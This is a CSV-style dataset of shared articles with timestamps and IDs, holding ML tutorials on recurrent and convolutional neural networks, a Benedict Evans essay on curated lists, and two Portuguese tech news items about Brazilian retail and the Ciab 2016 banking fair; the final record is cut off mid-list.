1466446242,CONTENT SHARED,3180608611815082945,-1443636648652872475,-8854509447672303603,,,,HTML,https://medium.com/@ageitgey/machine-learning-is-fun-part-2-a26a10b68df3,Machine Learning is Fun! Part 2,"Making Smarter Guesses Back in Part 1 , we created a simple algorithm that estimated the value of a house based on its attributes. Given data about a house like this: We ended up with this simple estimation function: In other words, we estimated the value of the house by multiplying each of its attributes by a weight . Then we just added those numbers up to get the house's value. Instead of using code, let's represent that same function as a simple diagram: However this algorithm only works for simple problems where the result has a linear relationship with the input. What if the truth behind house prices isn't so simple? For example, maybe the neighborhood matters a lot for big houses and small houses but doesn't matter at all for medium-sized houses. How could we capture that kind of complicated detail in our model? To be more clever, we could run this algorithm multiple times with different of weights that each capture different edge cases: Now we have four different price estimates. Let's combine those four price estimates into one final estimate. We'll run them through the same algorithm again (but using another set of weights)! Our new Super Answer combines the estimates from our four different attempts to solve the problem. Because of this, it can model more cases than we could capture in one simple model. What is a Neural Network? Let's combine our four attempts to guess into one big diagram: This is a neural network! Each node knows how to take in a set of inputs, apply weights to them, and calculate an output value. By chaining together lots of these nodes, we can model complex functions. There's a lot that I'm skipping over to keep this brief (including feature scaling and the activation function ), but the most important part is that these basic ideas click: We made a simple estimation function that takes in a set of inputs and multiplies them by weights to get an output. Call this simple function a neuron . By chaining lots of simple neurons together, we can model functions that are too complicated to be modeled by one single neuron. It's just like LEGO! We can't model much with one single LEGO block, but we can model anything if we have enough basic LEGO blocks to stick together: Giving our Neural Network a Memory The neural network we've seen always returns the same answer when you give it the same inputs. It has no memory. In programming terms, it's a stateless algorithm . In many cases (like estimating the price of house), that's exactly what you want. But the one thing this kind of model can't do is respond to patterns in data over time. Imagine I handed you a keyboard and asked you to write a story. But before you start, my job is to guess the very first letter that you will type. What letter should I guess? I can use my knowledge of English to increase my odds of guessing the right letter. For example, you will probably type a letter that is common at the beginning of words. If I looked at stories you wrote in the past, I could narrow it down further based on the words you usually use at the beginning of your stories. Once I had all that data, I could use it to build a neural network to model how likely it is that you would start with any given letter. Our model might look like this: But let's make the problem harder. Let's say I need to guess the next letter you are going to type at any point in your story. This is a much more interesting problem. Let's use the first few words of Ernest Hemingway's The Sun Also Rises as an example: Robert Cohn was once middleweight boxi What letter is going to come next? You probably guessed 'n' - the word is probably going to be boxing . We know this based on the letters we've already seen in the sentence and our knowledge of common words in English. Also, the word 'middleweight' gives us an extra clue that we are talking about boxing. In other words, it's easy to guess the next letter if we take into account the sequence of letters that came right before it and combine that with our knowledge of the rules of English. To solve this problem with a neural network, we need to add state to our model. Each time we ask our neural network for an answer, we also save a set of our intermediate calculations and re-use them the next time as part of our input. That way, our model will adjust its predictions based on the input that it has seen recently. Keeping track of state in our model makes it possible to not just predict the most likely first letter in the story, but to predict the most likely next letter given all previous letters. This is the basic idea of a Recurrent Neural Network. We are updating the network each time we use it. This allows it to update its predictions based on what it saw most recently. It can even model patterns over time as long as we give it enough of a memory. What's a single letter good for? Predicting the next letter in a story might seem pretty useless. What's the point? One cool use might be auto-predict for a mobile phone keyboard: But what if we took this idea to the extreme? What if we asked the model to predict the next most likely character over and over - forever? We'd be asking it to write a complete story for us! Generating a story We saw how we could guess the next letter in Hemingway's sentence. Let's try generating a whole story in the style of Hemingway. To do this, we are going to use the Recurrent Neural Network implementation that Andrej Karpathy wrote. Andrej is a Deep-Learning researcher at Stanford and he wrote an excellent introduction to generating text with RNNs , You can view all the code for the model on github . We'll create our model from the complete text of The Sun Also Rises -  362,239 characters using 84 unique letters (including punctuation, uppercase/lowercase, etc). This data set is actually really small compared to typical real-world applications. To generate a really good model of Hemingway's style, it would be much better to have at several times as much sample text. But this is good enough to play around with as an example. As we just start to train the RNN, it's not very good at predicting letters. Here's what it generates after a 100 loops of training: hjCTCnhoofeoxelif edElobe negnk e iohehasenoldndAmdaI ayio pe e h'e btentmuhgehi bcgdltt. gey heho grpiahe. Ddelnss.eelaishaner"" cot AAfhB ht ltny ehbih a""on bhnte ectrsnae abeahngy amo k ns aeo?cdse nh a taei.rairrhelardr er deffijha You can see that it has figured out that sometimes words have spaces between them, but that's about it. After about 1000 iterations, things are looking more promising: hing soor ither. And the caraos, and the crowebel for figttier and ale the room of me? Streat was not to him Bill-stook of the momansbed mig out ust on the bull, out here. I been soms inick stalling that aid. ""Hon't me and acrained on .Hw's don't you for the roed,"" In's pair."" ""Alough marith him."" The model has started to identify the patterns in basic sentence structure. It's adding periods at the ends of sentences and even quoting dialog. A few words are recognizable, but there's also still a lot of nonsense. But after several thousand more training interactions, it looks pretty good: He went over to the gate of the café. It was like a country bed. ""Do you know it's been me."" ""Damned us,"" Bill said. ""I was dangerous,"" I said. ""You were she did it and think I would a fine cape you,"" I said. ""I can't look strange in the cab."" ""You know I was this is though,"" Brett said. ""It's a fights no matter?"" ""It makes to do it."" ""You make it?"" ""Sit down,"" I said. ""I wish I wasn't do a little with the man."" ""You found it."" ""I don't know."" ""You see, I'm sorry of chatches,"" Bill said. ""You think it's a friend off back and make you really drunk."" At this point, the algorithm has captured the basic pattern of Hemingway's short, direct dialog. A few sentences even sort of make sense. Compare that with some real text from the book: There were a few people inside at the bar, and outside, alone, sat Harvey Stone. He had a pile of saucers in front of him, and he needed a shave. ""Sit down,"" said Harvey, ""I've been looking for you."" ""What's the matter?"" ""Nothing. Just looking for you."" ""Been out to the races?"" ""No. Not since Sunday."" ""What do you hear from the States?"" ""Nothing. Absolutely nothing."" ""What's the matter?"" Even by only looking for patterns one character at a time , our algorithm has reproduced plausible-looking prose with proper formatting. That is kind of amazing! We don't have to generate text completely from scratch, either. We can seed the algorithm by supplying the first few letters and just let it find the next few letters. For fun, let's make a fake book cover for our imaginary book by generating a new author name and a new title using the seed text of ""Er"", ""He"", and ""The S"": Not bad! But the really mind-blowing part is that this algorithm can figure out patterns in any sequence of data. It can easily generate real-looking recipes or fake Obama speeches . But why limit ourselves human language? We can apply this same idea to any kind of sequential data that has a pattern. Making Mario without actually Making Mario In 2015, Nintendo released Super Mario Maker™ for the Wii U gaming system. This game lets you draw out your own Super Mario Brothers levels on the gamepad and then upload them to the internet so you friends can play through them. You can include all the classic power-ups and enemies from the original Mario games in your levels. It's like a virtual LEGO set for people who grew up playing Super Mario Brothers. Can we use the same model that generated fake Hemingway text to generate fake Super Mario Brothers levels? First, we need a data set for training our model. Let's take all the outdoor levels from the original Super Mario Brothers game released in 1985: This game has 32 levels and about 70% of them have the same outdoor style. So we'll stick to those. To get the designs for each level, I took an original copy of the game and wrote a program to pull the level designs out of the game's memory. Super Mario Bros. is a 30-year-old game and there are lots of resources online that help you figure out how the levels were stored in the game's memory. Extracting level data from an old video game is a fun programming exercise that you should try sometime. Here's the first level from the game (which you probably remember if you ever played it): If we look closely, we can see the level is made of a simple grid of objects: We could just as easily represent this grid as a sequence of characters with one character representing each object: We've replaced each object in the level with a letter: '-' is a blank space '=' is a solid block '#' is a breakable brick '?' is a coin block ...and so on, using a different letter for each different kind of object in the level. I ended up with text files that looked like this: Looking at the text file, you can see that Mario levels don't really have much of a pattern if you read them line-by-line: The patterns in a level really emerge when you think of the level as a series of columns: So in order for the algorithm to find the patterns in our data, we need to feed the data in column-by-column. Figuring out the most effective representation of your input data (called feature selection ) is one of the keys of using machine learning algorithms well. To train the model, I needed to rotate my text files by 90 degrees. This made sure the characters were fed into the model in an order where a pattern would more easily show up: Training Our Model Just like we saw when creating the model of Hemingway's prose, a model improves as we train it. After a little training, our model is generating junk: It sort of has an idea that '-'s and '='s should show up a lot, but that's about it. It hasn't figured out the pattern yet. After several thousand iterations, it's starting to look like something: The model has almost figured out that each line should be the same length. It has even started to figure out some of the logic of Mario: The pipes in mario are always two blocks wide and at least two blocks high, so the ""P""s in the data should appear in 2x2 clusters. That's pretty cool! With a lot more training, the model gets to the point where it generates perfectly valid data: Let's sample an entire level's worth of data from our model and rotate it back horizontal: This data looks great! There are several awesome things to notice: It put a Lakitu (the monster that floats on a cloud) up in the sky at the beginning of the level - just like in a real Mario level. It knows that pipes floating in the air should be resting on top of solid blocks and not just hanging in the air. It places enemies in logical places. It doesn't create anything that would block a player from moving forward. It feels like a real level from Super Mario Bros. 1 because it's based off the style of the original levels that existed in that game. Finally, let's take this level and recreate it in Super Mario Maker: Play it yourself! If you have Super Mario Maker, you can play this level by bookmarking it online or by looking it up using level code 4AC9-0000-0157-F3C3 . Toys vs. Real World Applications The recurrent neural network algorithm we used to train our model is the same kind of algorithm used by real-world companies to solve hard problems like speech detection and language translation. What makes our model a 'toy' instead of cutting-edge is that our model is generated from very little data. There just aren't enough levels in the original Super Mario Brothers game to provide enough data for a really good model. If we could get access to the hundreds of thousands of user-created Super Mario Maker levels that Nintendo has, we could make an amazing model. But we can't - because Nintendo won't let us have them. Big companies don't give away their data for free. As machine learning becomes more important in more industries, the difference between a good program and a bad program will be how much data you have to train your models. That's why companies like Google and Facebook need your data so badly! For example, Google recently open sourced TensorFlow , its software toolkit for building large-scale machine learning applications. It was a pretty big deal that Google gave away such important, capable technology for free. This is the same stuff that powers Google Translate. But without Google's massive trove of data in every language, you can't create a competitor to Google Translate. Data is what gives Google its edge. Think about that the next time you open up your Google Maps Location History or Facebook Location History and notice that it stores every place you've ever been. Further Reading In machine learning, there's never a single way to solve a problem. You have limitless options when deciding how to pre-process your data and which algorithms to use. Often combining multiple approaches will give you better results than any single approach. Readers have sent me links to other interesting approaches to generating Super Mario levels: Amy K. Hoover 's team used an approach that represents each type of level object (pipes, ground, platforms, etc) as if it were single voice in an overall symphony . Using a process called functional scaffolding, the system can augment levels with blocks of any given object type. For example, you could sketch out the basic shape of a level and it could add in pipes and question blocks to complete your design. Steve Dahlskog 's team showed that modeling each column of level data as a series of n-gram ""words"" makes it possible to generate levels with a much simpler algorithm than a large RNN.",en
1466446269,CONTENT SHARED,216869981229779312,-1443636648652872475,-8854509447672303603,,,,HTML,https://medium.com/@ageitgey/machine-learning-is-fun-part-3-deep-learning-and-convolutional-neural-networks-f40359318721,Machine Learning is Fun! Part 3: Deep Learning and Convolutional Neural Networks,"Recognizing Objects with Deep Learning You might have seen this famous xkcd comic before. The goof is based on the idea that any 3-year-old child can recognize a photo of a bird, but figuring out how to make a computer recognize objects has puzzled the very best computer scientists for over 50 years. In the last few years, we've finally found a good approach to object recognition using deep convolutional neural networks . That sounds like a a bunch of made up words from a William Gibson Sci-Fi novel, but the ideas are totally understandable if you break them down one by one. So let's do it - let's write a program that can recognize birds! Starting Simple Before we learn how to recognize pictures of birds, let's learn how to recognize something much simpler - the handwritten number ""8"". In Part 2 , we learned about how neural networks can solve complex problems by chaining together lots of simple neurons. We created a small neural network to estimate the price of a house based on how many bedrooms it had, how big it was, and which neighborhood it was in: We also know that the idea of machine learning is that the same generic algorithms can be reused with different data to solve different problems. So let's modify this same neural network to recognize handwritten text. But to make the job really simple, we'll only try to recognize one letter - the numeral ""8"". Machine learning only works when you have data - preferably a lot of data. So we need lots and lots of handwritten ""8""s to get started. Luckily, researchers created the MNIST data set of handwritten numbers for this very purpose. MNIST provides 60,000 images of handwritten digits, each as an 18x18 image. Here are some ""8""s from the data set: We can train this kind of neural network in a few minutes on a modern laptop. When it's done, we'll have a neural network that can recognize pictures of ""8""s with a pretty high accuracy. Welcome to the world of (late 1980's-era) image recognition! Tunnel Vision It's really neat that simply feeding pixels into a neural network actually worked to build image recognition! Machine learning is magic! ...right? Well, of course it's not that simple. First, the good news is that our ""8"" recognizer really does work well on simple images where the letter is right in the middle of the image: But now the really bad news: Our ""8"" recognizer totally fails to work when the letter isn't perfectly centered in the image. Just the slightest position change ruins everything: This is because our network only learned the pattern of a perfectly-centered ""8"". It has absolutely no idea what an off-center ""8"" is. It knows exactly one pattern and one pattern only. That's not very useful in the real world. Real world problems are never that clean and simple. So we need to figure out how to make our neural network work in cases where the ""8"" isn't perfectly centered. Brute Force Idea #1: Searching with a Sliding Window We already created a really good program for finding an ""8"" centered in an image. What if we just scan all around the image for possible ""8""s in smaller sections, one section at a time, until we find one? This approach called a sliding window. It's the brute force solution. It works well in some limited cases, but it's really inefficient. You have to check the same image over and over looking for objects of different sizes. We can do better than this! Brute Force Idea #2: More data and a Deep Neural Net When we trained our network, we only showed it ""8""s that were perfectly centered. What if we train it with more data, including ""8""s in all different positions and sizes all around the image? We don't even need to collect new training data. We can just write a script to generate new images with the ""8""s in all kinds of different positions in the image: Using this technique, we can easily create an endless supply of training data. More data makes the problem harder for our neural network to solve, but we can compensate for that by making our network bigger and thus able to learn more complicated patterns. To make the network bigger, we just stack up layer upon layer of nodes: We call this a ""deep neural network"" because it has more layers than a traditional neural network. This idea has been around since the late 1960s. But until recently, training this large of a neural network was just too slow to be useful. But once we figured out how to use 3d graphics cards (which were designed to do matrix multiplication really fast) instead of normal computer processors, working with large neural networks suddenly became practical. In fact, the exact same NVIDIA GeForce GTX 1080 video card that you use to play Overwatch can be used to train neural networks incredibly quickly. But even though we can make our neural network really big and train it quickly with a 3d graphics card, that still isn't going to get us all the way to a solution. We need to be smarter about how we process images into our neural network. Think about it. It doesn't make sense to train a network to recognize an ""8"" at the top of a picture separately from training it to recognize an ""8"" at the bottom of a picture as if those were two totally different objects. There should be some way to make the neural network smart enough to know that an ""8"" anywhere in the picture is the same thing without all that extra training. Luckily... there is! The Solution is Convolution As a human, you intuitively know that pictures have a hierarchy or conceptual structure . Consider this picture: As a human, you instantly recognize the hierarchy in this picture: The ground is covered in grass and concrete There is a child The child is sitting on a bouncy horse The bouncy horse is on top of the grass Most importantly, we recognize the idea of a child no matter what surface the child is on. We don't have to re-learn the idea of child for every possible surface it could appear on. But right now, our neural network can't do this. It thinks that an ""8"" in a different part of the image is an entirely different thing. It doesn't understand that moving an object around in the picture doesn't make it something different. This means it has to re-learn the identify of each object in every possible position. That sucks. We need to give our neural network understanding of translation invariance  - an ""8"" is an ""8"" no matter where in the picture it shows up. We'll do this using a process called Convolution. The idea of convolution is inspired partly by computer science and partly by biology (i.e. mad scientists literally poking cat brains with weird probes to figure out how cats process images). How Convolution Works Instead of feeding entire images into our neural network as one grid of numbers, we're going to do something a lot smarter that takes advantage of the idea that an object is the same no matter where it appears in a picture. Here's how it's going to work, step by step - Step 1: Break the image into overlapping image tiles Similar to our sliding window search above, let's pass a sliding window over the entire original image and save each result as a separate, tiny picture tile: By doing this, we turned our original image into 77 equally-sized tiny image tiles. Step 2: Feed each image tile into a small neural network Earlier, we fed a single image into a neural network to see if it was an ""8"". We'll do the exact same thing here, but we'll do it for each individual image tile: However, there's one big twist : We'll keep the same neural network weights for every single tile in the same original image. In other words, we are treating every image tile equally. If something interesting appears in any given tile, we'll mark that tile as interesting. Step 3: Save the results from each tile into a new array We don't want to lose track of the arrangement of the original tiles. So we save the result from processing each tile into a grid in the same arrangement as the original image. It looks like this: In other words, we've started with a large image and we ended with a slightly smaller array that records which sections of our original image were the most interesting. Step 4: Downsampling The result of Step 3 was an array that maps out which parts of the original image are the most interesting. But that array is still pretty big: To reduce the size of the array, we downsample it using an algorithm called max pooling . It sounds fancy, but it isn't at all! We'll just look at each 2x2 square of the array and keep the biggest number: The idea here is that if we found something interesting in any of the four input tiles that makes up each 2x2 grid square, we'll just keep the most interesting bit. This reduces the size of our array while keeping the most important bits. Final step: Make a prediction So far, we've reduced a giant image down into a fairly small array. Guess what? That array is just a bunch of numbers, so we can use that small array as input into another neural network . This final neural network will decide if the image is or isn't a match. To differentiate it from the convolution step, we call it a ""fully connected"" network. So from start to finish, our whole five-step pipeline looks like this: Adding Even More Steps Our image processing pipeline is a series of steps: convolution, max-pooling, and finally a fully-connected network. When solving problems in the real world, these steps can be combined and stacked as many times as you want! You can have two, three or even ten convolution layers. You can throw in max pooling wherever you want to reduce the size of your data. The basic idea is to start with a large image and continually boil it down, step-by-step, until you finally have a single result. The more convolution steps you have, the more complicated features your network will be able to learn to recognize. For example, the first convolution step might learn to recognize sharp edges, the second convolution step might recognize beaks using it's knowledge of sharp edges, the third step might recognize entire birds using it's knowledge of beaks, etc. Here's what a more realistic deep convolutional network (like you would find in a research paper) looks like: In this case, they start a 224 x 224 pixel image, apply convolution and max pooling twice, apply convolution 3 more times, apply max pooling and then have two fully-connected layers. The end result is that the image is classified into one of 1000 categories! Constructing the Right Network So how do you know which steps you need to combine to make your image classifier work? Honestly, you have to answer this by doing a lot of experimentation and testing. You might have to train 100 networks before you find the optimal structure and parameters for the problem you are solving. Machine learning involves a lot of trial and error! Building our Bird Classifier Now finally we know enough to write a program that can decide if a picture is a bird or not. As always, we need some data to get started. The free CIFAR10 data set contains 6,000 pictures of birds and 52,000 pictures of things that are not birds. But to get even more data we'll also add in the Caltech-UCSD Birds-200-2011 data set that has another 12,000 bird pics. Here's a few of the birds from our combined data set: This data set will work fine for our purposes, but 72,000 low-res images is still pretty small for real-world applications. If you want Google-level performance, you need millions of large images. In machine learning, having more data is almost always more important that having better algorithms. Now you know why Google is so happy to offer you unlimited photo storage. They want your sweet, sweet data! To build our classifier, we'll us TFLearn . TFlearn is a wrapper around Google's TensorFlow deep learning library that exposes a simplified API. It makes building convolutional neural networks as easy as writing a few lines of code to define the layers of our network. Here's the code to define and train the network: If you are training with a good video card with enough RAM (like an Nvidia GeForce GTX 980 Ti or better), this will be done in less than an hour. If you are training with a normal cpu, it might take a lot longer. As it trains, the accuracy will increase. After the first pass, I got 75.4% accuracy. After just 10 passes, it was already up to 91.7%. After 50 or so passes, it capped out around 95.5% accuracy and additional training didn't help, so I stopped it there. Congrats! Our program can now recognize birds in images! Testing our Network Now that we have a trained neural network, we can use it! Here's a simple script that takes in a single image file and predicts if it is a bird or not. But to really see how effective our network is, we need to test it with lots of images. The data set I created held back 15,000 images for validation. When I ran those 15,000 images through the network, it predicted the correct answer 95% of the time. That seems pretty good, right? Well... it depends! How accurate is 95% accurate? Our network claims to be 95% accurate. But the devil is in the details. That could mean all sorts of different things. For example, what if 5% of our training images were birds and the other 95% were not birds? A program that guessed ""not a bird"" every single time would be 95% accurate! But it would also be 100% useless. We need to look more closely at the numbers than just the overall accuracy. To judge how good a classification system really is, we need to look closely at how it failed, not just the percentage of the time that it failed. Instead of thinking about our predictions as ""right"" and ""wrong"", let's break them down into four separate categories - First, here are some of the birds that our network correctly identified as birds. Let's call these True Positives: Using our validation set of 15,000 images, here's how many times our predictions fell into each category: Why do we break our results down like this? Because not all mistakes are created equal. Imagine if we were writing a program to detect cancer from an MRI image. If we were detecting cancer, we'd rather have false positives than false negatives. False negatives would be the worse possible case - that's when the program told someone they definitely didn't have cancer but they actually did. Instead of just looking at overall accuracy, we calculate Precision and Recall metrics. Precision and Recall metrics give us a clearer picture of how well we did: This tells us that 97% of the time we guessed ""Bird"", we were right! But it also tells us that we only found 90% of the actual birds in the data set. In other words, we might not find every bird but we are pretty sure about it when we do find one! Where to go from here Now that you know the basics of deep convolutional networks, you can try out some of the examples that come with tflearn to get your hands dirty with different neural network architectures. It even comes with built-in data sets so you don't even have to find your own images. You also know enough now to start branching and learning about other areas of machine learning. Why not learn how to use algorithms to train computers how to play Atari games next?",en
1466446752,CONTENT SHARED,1021466437456217445,3429602690322213789,4845615731582406682,,,,HTML,http://ben-evans.com/benedictevans/2016/1/31/lists-are-the-new-search,Lists are the new search,"Hence, I always thought the most appealing part of Flipboard was the manually curated directory of sites to follow. It's a list of lists, but it isn't trying to encompass everything, and so, unlike Yahoo, it isn't unmanageably big. But that just relocates the problem - what if you want a list that isn't on the list of lists? If you wanted to find 5 new sites to read about a topic you care about - ice-climbing, or vintage furniture, or experimental electronic music, or children's picture books - where would you find it? Can you create a platform for all those lists without turning into Yahoo? And it's worth remembering that Google hasn't actually solved this either - it might give you one blog post, but not a list of 20 sites to try. (Indeed, one could suggest that blogs themselves break Google in some sense - you're looking for a stream, but Google can only give you the post.) Apple Music and Spotify both have an angle on this; they both make the observation that 30m tracks and a search engine is a poor experience, and that you need some form of filter, based in some way on your preferences, but ultimately arbitrary all the same. Apple's model in particular is interesting because it's a hybrid - it uses automation to match manually curated playlists (again, lists) with (mostly) algorithmically-determined tastes. So the list is made by hand, but the machine finds the list for you. Equally, with Facebook, you make your friend list by hand, and you and your friends share things into that pool manually, but the Facebook algorithm automatically suggests stories for you from that pool - again, a hybrid. Indeed, one could suggest that you don't actually need to know any of those people for the system to work - 'these are things that people in a sample of 300 people in your rough socio-economic demographic clicked on'. Something that sits in the back of my mind when thinking about this is that department stores and supermarkets, the Amazons of their days, didn't kill small retail. They were not winner-takes-all models. They did kill people who couldn't match their service, selection and price, and were simply end-points to a logistics chain out-competed by a more efficient end-point. But one thing I saw growing up in South London as supermarkets deployed was that small food shops tended to disappear, and then re-appear in new incarnations, providing service, curation and selection that supermarkets themselves couldn't match, for people willing to search them out and of course pay the premium, and where there was the density to support this. They didn't scale - they didn't turn into chains of 30 artisanal butchers - but they often prospered. One saw something similar with bookshops: Waterstones put many out of business, but many also got created (just before Amazon took 25% off the top of the market, of course). This in turn reminds me of a story in the New York Times, many years ago, about small Japanese shops who wanted only word-of-mouth customers and so made themselves hard to find (even by Japanese standards). In particular, there was one denim shop in a back-alley of Tokyo called 'Not Found' - so as to be ungooglable. One can call this curation, or hipsterdom, or just a Veblen good. But in the past, such things were always geographically constrained - you had to live in a big city (while chain retail took homogenized versions of the same thing to everyone). I wonder, as ecommerce matures, how much will be carved out into exactly the kind of spectrum of large and small retail beyond the big aggregators, and how far this removal of geographic constraint might make it easier rather than harder for them to take sales from the giants, in part by removing that density problem. That is, there might be a lot more lists, they might be hard to find, and not be part of some global aggregator, and that might be OK.",en
1466446779,CONTENT SHARED,-3037091822980174821,4918484843075254252,-8048870895871787596,,,,HTML,http://www.blogdafal.com.br/2016/06/20/paqueta-investe-em-tecnologia-inedita-no-varejo-brasileiro/,Paquetá investe em tecnologia inédita no varejo brasileiro,"A Paquetá - que entre outras marcas também detém a nossa cliente Capodarte - acaba de inaugurar uma loja com tecnologias inéditas no varejo brasileiro: Mobile Checkout e Multimix , inovações focadas na aproximação do físico e digital, uma tendência mundial e que aumentou as vendas em 32% . Por meio do Mobile Checkout , o vendedor comunica o pedido ao estoque pelo smartphone, sem se ausentar para buscar o produto. Com o mesmo dispositivo, é possível fazer a emissão da nota fiscal, finalizando a compra sem filas no caixa. A estratégia muda a forma de atendimento e transforma a experiência de compra. Já o Multimix permite a consulta de itens através de um terminal que dá acesso ao catálogo completo da marca. Diferentes cores e tamanhos podem ser conferidos com essa ferramenta, que permite ao cliente escolher e adquirir calçados e acessórios indisponíveis na loja. Após a compra, a entrega é feita diretamente em casa, o que garante conforto e praticidade ao consumidor. Ao contrário do sistema de e-commerce, a aprovação da compra é efetuada na hora. Em Porto Alegre, o prazo de entrega é de 48 horas. Fonte: Fatto Comunicação Veja mais: Sephora Flash",pt
1466453035,CONTENT SHARED,1768072794787289517,-6316613156648676087,3233575107514524965,,,,HTML,http://computerworld.com.br/55-fornecedores-de-ti-que-apresentarao-novidades-no-ciab-2016,55 fornecedores de TI que apresentarão novidades no Ciab 2016,"O setor financeiro é um dos grandes consumidores de recursos tecnológicos do Brasil. Segundo dados recentes da Febraban, os bancos brasileiros aplicaram nada menos que R$ 19 bilhões em projetos de TI ao longo de 2015 . O apetite das instituições financeiras com relação ao consumo de recursos de informática anima os provedores de tecnologia, que aproveitam o Ciab (principal feira do setor no país) para propagar mensagens, apresentar produtos e estreitar os laços com executivos da indústria bancária. A expectativa é que mais de 20 mil visitantes transitem pelos corredores do Transamerica Expo Center, em São Paulo, entre os dias 21 e 23 de junho. O evento desse ano, que tem como tema central ""Cultura Digital Transformando a Sociedade"", receberá mais 100 expositores. Listamos a seguir 55 empresas que estarão com novidades no Ciab 2016. Confira. 1. Accenture. A consultoria demonstra o modelo de ""Liquid Reality, Digital Agility"" que permite às instituições financeiras, de mercado de capitais e seguradoras evoluir e explorar todo o potencial das novas tecnologias digitais. 2. Access. No estande da empresa é possível conferir uma estrutura tecnológica focada na digitalização e gestão de documentos digitalizados provenientes das operações e transações bancárias. 3. Agility Networks. A integradora apresenta tecnologias de proteção contra ameaças persistentes avançadas (APTs) em tráfego web e e-mail. 4. Atos. Durante o evento, a Atos apresentará parte da tecnologia de seu portfólio destinado à segurança para os Jogos Olímpicos, que também pode ser aplicado ao mercado financeiro. 5. Aware. A provedora demonstra no Ciab aplicações mobile que garantem que a qualidade de biometrias coletadas através de smartphones e tablets sejam interoperáveis entre sistemas móveis e plataformas de autenticação biométrica existentes no mercado, com o objetivo de evitar e prevenir tentativas de fraude. 6. BMC. A provedor leva ao evento o Digital Enterprise Management, uma plataforma completa de soluções de TI desenhadas para tornar os negócios digitais mais rápidos, contínuos e otimizados desde o mainframe ao mobile e nuvem. 7. CA Technologies. Provedora leva ao Ciab seu portfólio de ferramentas de segurança, desenvolvimento e gestão de TI. 8. Ci&T. A provedora sediada em Campinas lança, no Ciabe, seu Digital Playbook. De acordo com a Ci&T, trata-se de uma nova oferta que agiliza a transformação digital de negócios das empresas, especialmente para instituições do setor financeiro. 9. CSC Brasil. Será apresentada a composição de soluções e tecnologias que preenchem os alicerces do conceito de Transformação Digital: experiência do usuário/consumidor: soluções que fazem a ponte entre a TI tradicional e a digital (BI/Analytics); eficiência operacional da TI (tradicional): soluções de monitoração e gerenciamento de serviços (ITSM/ITIL). 10. Datablink. A empresa apresentará um mecanismo de autenticação avançada que pode ser feita pelo Apple Watch. 11. ddCom Systems. A companhia leva ao evento uma ferramenta que permite biometria de voz para autenticação com a qual os clientes podem abrir ou fechar contas pela internet. A empresa oferece também ferramentas de inteligência analítica, robotização e automatização de processos. 12. Dell. A fabricante de hardware destaca no evento soluções orientadas a ajudar as empresas do segmento financeiro a se prepararem para a Transformação Digital. Outro ponto que a Dell reforçará é a sua área de Internet das Coisas, com apresentação de ""frameworks"" de aplicação para casos práticos na área de seguros. 13. Deloitte. A consultoria mostra, na feira, suas soluções para apoiar as instituições financeiras de forma que alcancem um crescimento rentável e a gerenciem estrategicamente seus custos das organizações, ao mesmo tempo em que buscam oportunidades e preveem riscos atuais e futuros. 14. Diebold. A empresa apresentará ATMs com tecnologias como autenticação via QR Code e Near Field Communication (NFC). 15. EMC. Entre as soluções que a fabricante de storage leva à feira está o Unity, uma nova família de sistemas de armazenamento que ajuda a simplificar e modernizar data centers. A RSA - segmento da companhia dedicado à segurança de dados - apresenta soluções que permitem que os gestores de TI detectem e rastreiem ameaças e invasões, em tempo real, valendo-se da tecnologia de análise em big data. Já a VCE - divisão voltada à infraestrutura convergente - traz produtos que reduzem custos e instalação de sistemas, diminuindo drasticamente o ""time to market"" das companhias no mercado. 16. Ernst & Young. A consultoria demonstra no Ciab os serviços de sua área dedicada ao setor financeiro. 17. Fico. A companhia demonstra uma tecnologia que auxilia bancos e financeiras a se adequarem à norma IFRS 9, uma regulamentação contábil que define uma nova forma de cálculo de previsão de perdas. 18. Formalizar e-Signature. A companhia expõe uma solução de assinatura eletrônica por biometria manuscrita facilmente integrada aos sistemas bancários para a formalização de todo processo que envolva assinatura de documentos com validade jurídica. 19. Fujitsu. A empresa apresentará soluções como um scanner compacto com mecanismos de proteção a folhas e um empilhador automático que ajuda a reduzir a carga de trabalho pós-digitalização. 20. Glory Global Solution. Um cofre inteligente e uma solução de autoatendimento assistido que traz automação no manuseio de numerário para instituições financeiras e processos que envolvam sua reciclagem e operação remota serão exibidos pela companhia. 21. Grupo New Space. Empresa leva diversas soluções para o Ciab, entre elas o Digital Credit Service, o Orion Data Hunter, o Fraud Monitor e o Zenit. 22. HID Global. A empresa apresenta sensores de autenticação biométrica para acesso a caixas eletrônicos. Trata-se de uma tecnologia capaz de identificar quem está fazendo o que num exato momento, ainda que o dedo esteja sujo, molhado, oleoso, machucado ou desgastado pelo tempo. 23. Huawei. A chinesa demonstra o KunLun 9032, servidor com 32 CPUs interconectadas capaz de acelerar a transição aberta de ambientes empresariais e melhorar a eficiência de custo de computação. 24. IBM Brasil. No estande da Big Blue será apresentado um robô que fará apresentações pontuais mostrando como a computação cognitiva e a robótica vão atuar juntas no mercado financeiro. 25. Imagem. A empresa mostra soluções de aplicação de inteligência geográfica para os setores de serviços financeiros. 26. Infobip. A companhia apresentará o mGate, uma plataforma desenhada especialmente para o mercado financeiro, que engloba diversos meios de comunicação mobile. 27. MasterCard. Na feira, a empresa de meios de pagamentos apresenta novidades relacionadas ao seu hub global de inovação (Labs), a tecnologia que permite a autenticação por meio da selfie e sistemas de tokenização. 28. Matera Systems. A provedora leva ao Ciab um sistema móvel que permite pagamentos com celular 100% off-line, sem uso de 3G, Wi-Fi ou Bluetooth. 29. Micro Focus. A companhia levará tecnologias para aceleração de processos tradicionais de análise, desenvolvimento, testes e produção de aplicações mainframe; além de ferramentas de desenvolvimento e implantação que permitem integrar aplicações a tecnologias móveis e em nuvem. 30. Montreal. A aposta da Montreal para o Ciab 2016 é desenvolvimento de soluções em segurança para transações online. 31. NCR. O estande da NCR terá mais de dez soluções, dentre elas uma tecnologia que complementa a visão omnichannel para oferecer alternativas de atendimento ao cliente em todos os pontos de contato. 32. OKI Brasil. O destaque para o Ciab será o lançamento de um terminal de autoatendimento que oferece maior proteção contra ataques por explosão e fraudes. 33. Perto. A empresa apresentará no Ciab o Terminal de Saque com cofre bipartido, Terminal de Saque bidirecional, Solução Centralizada de Gestão de Filas e Atendimento, Terminal Mobile, Cofres Depositários e Recicladores de Cédulas e Moedas. 34. PromonLogicalis. Os participantes do evento que visitarem o estande da integradora poderão conferir, na prática, o funcionamento do blockchain. 35. Qlik. Fabricante de software demonstra sua plataforma de BI visual self-service que abrange os mais diversos usos corporativos. 36. Red Hat. Provedora de sistemas open source traz soluções voltadas para maximizar o desempenho da TI das empresas, otimizando processos e reduzindo custos. 37. Resource IT. No espaço chamado de Garagem Resource IT, serão apresentadas todas as 